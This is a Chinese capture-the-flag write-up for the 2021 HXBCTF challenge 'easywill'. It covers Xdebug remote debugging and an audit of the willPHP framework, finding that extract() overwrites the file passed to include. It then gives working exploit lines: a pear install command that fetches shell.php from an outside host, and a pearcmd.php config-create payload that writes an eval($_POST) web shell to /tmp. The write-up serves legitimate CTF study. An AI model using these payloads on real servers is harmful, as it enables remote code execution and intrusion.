2021湖湘杯ctf
[HXBCTF 2021]easywill
考点:
1、框架审计
2、利用pearcmd.php包含getshell
3、phpstorm的远程debug
启动题目
告诉了是利用willPHP开发的框架题,还很好心的给出了开发手册和下载链接
对于框架题,要注意的有两点:
1、本地搭建环境测试
2、查询其开发手册和相关漏洞
本地环境搭建
所以这里我们先把其下载到本地,本地访问出现以下界面即为成功
http://localhost/will
接着我们将源码粘贴到controller下的IndexController.php,这里注意要将命名空间中的home改成app
现在我们本地的环境就和题目一模一样了,就可以开始在本地调试了
远程debug设置
接下来进行远程debug的设置,我们这里使用的是phpstudy和phpstorm
我们打开php.ini配置文件,在xdebug处进行如下设置
[Xdebug]
zend_extension=D:/phpstudy_pro/Extensions/php/php7.3.4nts/ext/php_xdebug.dll
xdebug.collect_params=1
xdebug.collect_return=1
xdebug.auto_trace=On
xdebug.trace_output_dir=D:/phpstudy_pro/Extensions/php_log/php7.3.4nts.xdebug.trace
xdebug.profiler_enable=On
xdebug.profiler_output_dir=D:/phpstudy_pro/Extensions/php_log/php7.3.4nts.xdebug.profiler
xdebug.remote_enable=1
xdebug.remote_host=localhost
xdebug.remote_port=11013 //可随意设置,保持和phpstorm上的端口一致即可
xdebug.remote_handler=dbgp
xdebug.remote_autostart =1
xdebug.idekey="PHPSTORM" //可随意设置
接着设置phpstorm
在右上角,紫色的这个点开
名称随意取,IDE健即为上面设置的xdebug.idekey="PHPSTORM"
服务器设置:
名称随意取,主机设为127.0.0.1或者localhost
然后点击验证进行验证,这里url要改成根目录
通过
接下来点击右上角的这个东西就可以开始远程调试了
题目解析
我们跟踪assign函数
继续跟进assign,进到helper.php
function assign($name, $value = null) {
\wiphp\View::assign($name, $value);//这里调用了View里面的assign方法
继续跟进到View.php
public static function assign($name, $value = null) {
if ($name != '') self::$vars[$name] = $value;
} //这里只是进行了一个判断,并且将$name作为键,$value作为值
退回到helper.php
再看view函数
function view($file = '', $vars = []) {
return \wiphp\View::fetch($file, $vars);//调用了View中的fetch方法
跟进到View.php
public static function fetch($file = '', $vars = []) {
if (!empty($vars)) self::$vars = array_merge(self::$vars, $vars);
$viewfile = self::getViewFile($file);
if (file_exists($viewfile)) {
array_walk_recursive(self::$vars, 'self::parseVars'); //处理输出
define('__RUNTIME__', round((microtime(true) - START_TIME) , 4));
Template::render($viewfile, self::$vars);
} else {
App::halt($file.' 模板文件不存在。');
}
}
跟进render,进入Tempate.php
public static function renderTo($viewfile, $vars = []) {
$m = strtolower(__MODULE__);
$cfile = 'view-'.$m.'_'.basename($viewfile).'.php';
if (basename($viewfile) == 'jump.html') {
$cfile = 'view-jump.html.php';
}
$cfile = PATH_VIEWC.'/'.$cfile;
if (APP_DEBUG || !file_exists($cfile) || filemtime($cfile) < filemtime($viewfile)) {
$strs = self::compile(file_get_contents($viewfile), $vars);
file_put_contents($cfile, $strs);
}
extract($vars); //将键值赋值给变量
include $cfile;
}
可以看到存在变量覆盖以及文件包含
所以这里构造
name=cfile & value=想写入的内容 即可形成文件包含漏洞
当我们开启远程debug后我们测试?name=cfile&value=AAAA,可以看到$cfile=AAAA
所以这里可以写入shell到tmp目录,关于pearcmd.php,可见详解
出网的利用姿势
pear install -R /tmp http://xxxxxxx/shell.php
不出网的利用姿势
pear -c /tmp/.feng.php -d man_dir=<?=eval($_POST[0]);?> -s
所以最终payload
?name=cfile&value=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[0])?>+/tmp/aa.php
这里要千万注意,不能直接到url里构造,否则<>
会被url编码,我们写的shell就不会被解析了,所以我们要移步到burp中写
写入成功
接着我们尝试执行phpinfo查看是否真正写入成功
http://53bb636f-9fbc-43f2-bd4a-be7c1efff83a.node4.buuoj.cn:81/?name=cfile&value=/tmp/aa.php
可以看到,的确成功了,接着查看根目录下的文件
看到flag文件,打开即可获得flag